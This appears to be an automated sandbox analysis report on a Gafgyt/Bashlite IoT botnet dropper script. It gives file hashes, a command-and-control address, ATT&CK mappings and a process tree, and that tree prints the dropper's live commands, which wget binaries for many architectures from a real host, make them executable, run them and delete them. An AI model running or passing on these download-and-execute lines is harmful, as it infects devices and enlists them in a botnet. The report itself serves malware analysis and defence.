gafgyt | e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f

Analysis

max time kernel
99s
max time network
12s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-01-2025 03:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f.sh
Size

2KB
MD5

87a7140288b8fc77f9917199d1c969bb
SHA1

0931d942a8cc6f317b24082900bd24ec697a697e
SHA256

e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f
SHA512

2cdebd869d0cd7f590f050fe987af0ff80592646cdaaff83b7b78f07c8328401c87bd4b8d072dd87ef26de619a2ec7e06ad7e61204371e93e21a1835f23097f7

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

195.179.230.64:606

Signatures

Detected Gafgyt variant 1 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
744	chmod
789	chmod
801	chmod
807	chmod
659	chmod
687	chmod
713	chmod
761	chmod
778	chmod
795	chmod
674	chmod
702	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/chernobyl.mips	661	chernobyl.mips

Reads system routing table 1 TTPs 4 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	chernobyl.arm4
File opened for reading	/proc/net/route	chernobyl.arm5
File opened for reading	/proc/net/route	chernobyl.arm6
File opened for reading	/proc/net/route	chernobyl.arm7

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	chernobyl.arm4
File opened for reading	/proc/net/route	chernobyl.arm5
File opened for reading	/proc/net/route	chernobyl.arm6
File opened for reading	/proc/net/route	chernobyl.arm7

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
641	wget
661	chernobyl.mips
663	rm
664	wget
675	chernobyl.mipsel
677	rm

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/chernobyl.arm4	wget
File opened for modification	/tmp/chernobyl.arm5	wget
File opened for modification	/tmp/chernobyl.x86	wget
File opened for modification	/tmp/chernobyl.mipsel	wget
File opened for modification	/tmp/chernobyl.sh4	wget
File opened for modification	/tmp/chernobyl.m68k	wget
File opened for modification	/tmp/chernobyl.i686	wget
File opened for modification	/tmp/chernobyl.ppc	wget
File opened for modification	/tmp/chernobyl.i586	wget
File opened for modification	/tmp/chernobyl.sparc	wget
File opened for modification	/tmp/chernobyl.mips	wget
File opened for modification	/tmp/chernobyl.arm7	wget
File opened for modification	/tmp/chernobyl.arm6	wget

/tmp/e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f.sh
/tmp/e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f.sh
1⤵
PID:639
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:641
- /bin/chmod
  chmod +x chernobyl.mips
  2⤵
  - File and Directory Permissions Modification
  PID:659
- /tmp/chernobyl.mips
  ./chernobyl.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:661
- /bin/rm
  rm -rf chernobyl.mips
  2⤵
  - System Network Configuration Discovery
  PID:663
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:664
- /bin/chmod
  chmod +x chernobyl.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/chernobyl.mipsel
  ./chernobyl.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:675
- /bin/rm
  rm -rf chernobyl.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:677
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.sh4
  2⤵
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod +x chernobyl.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/chernobyl.sh4
  ./chernobyl.sh4
  2⤵
  PID:688
- /bin/rm
  rm -rf chernobyl.sh4
  2⤵
  PID:691
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.x86
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod +x chernobyl.x86
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/chernobyl.x86
  ./chernobyl.x86
  2⤵
  PID:703
- /bin/rm
  rm -rf chernobyl.x86
  2⤵
  PID:706
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.m68k
  2⤵
  - Writes file to tmp directory
  PID:708
- /bin/chmod
  chmod +x chernobyl.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/chernobyl.m68k
  ./chernobyl.m68k
  2⤵
  PID:714
- /bin/rm
  rm -rf chernobyl.m68k
  2⤵
  PID:717
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.i686
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod +x chernobyl.i686
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/chernobyl.i686
  ./chernobyl.i686
  2⤵
  PID:735
- /bin/rm
  rm -rf chernobyl.i686
  2⤵
  PID:737
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.ppc
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod +x chernobyl.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/chernobyl.ppc
  ./chernobyl.ppc
  2⤵
  PID:745
- /bin/rm
  rm -rf chernobyl.ppc
  2⤵
  PID:747
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.i586
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod +x chernobyl.i586
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/chernobyl.i586
  ./chernobyl.i586
  2⤵
  PID:762
- /bin/rm
  rm -rf chernobyl.i586
  2⤵
  PID:764
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.sparc
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod +x chernobyl.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/chernobyl.sparc
  ./chernobyl.sparc
  2⤵
  PID:779
- /bin/rm
  rm -rf chernobyl.sparc
  2⤵
  PID:782
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.arm4
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x chernobyl.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/chernobyl.arm4
  ./chernobyl.arm4
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:790
- /bin/rm
  rm -rf chernobyl.arm4
  2⤵
  PID:793
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.arm5
  2⤵
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod +x chernobyl.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/chernobyl.arm5
  ./chernobyl.arm5
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:796
- /bin/rm
  rm -rf chernobyl.arm5
  2⤵
  PID:799
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.arm6
  2⤵
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod +x chernobyl.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/chernobyl.arm6
  ./chernobyl.arm6
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:802
- /bin/rm
  rm -rf chernobyl.arm6
  2⤵
  PID:805
- /usr/bin/wget
  wget http://195.179.230.64/chernobyl.arm7
  2⤵
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod +x chernobyl.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/chernobyl.arm7
  ./chernobyl.arm7
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:808
- /bin/rm
  rm -rf chernobyl.arm7
  2⤵
  PID:811

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/chernobyl.mips

Filesize
149KB

MD5
76cd360f074eaa5d8287bb0762aab991

SHA1
72da777df5b6d7794efa05d87e5528d0c45e1403

SHA256
e6177852038d2130936a6c52ae274f813d5338f94b4f27faa6e19f7db19cbd46

SHA512
897e406c0982fa347e945653a5af9db7876004ff0e54a9a2bb5cde10bb0df3b52172a54481726d974621291deaae0c29df90e2333eb81c6fe30f15e190cdfd38

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads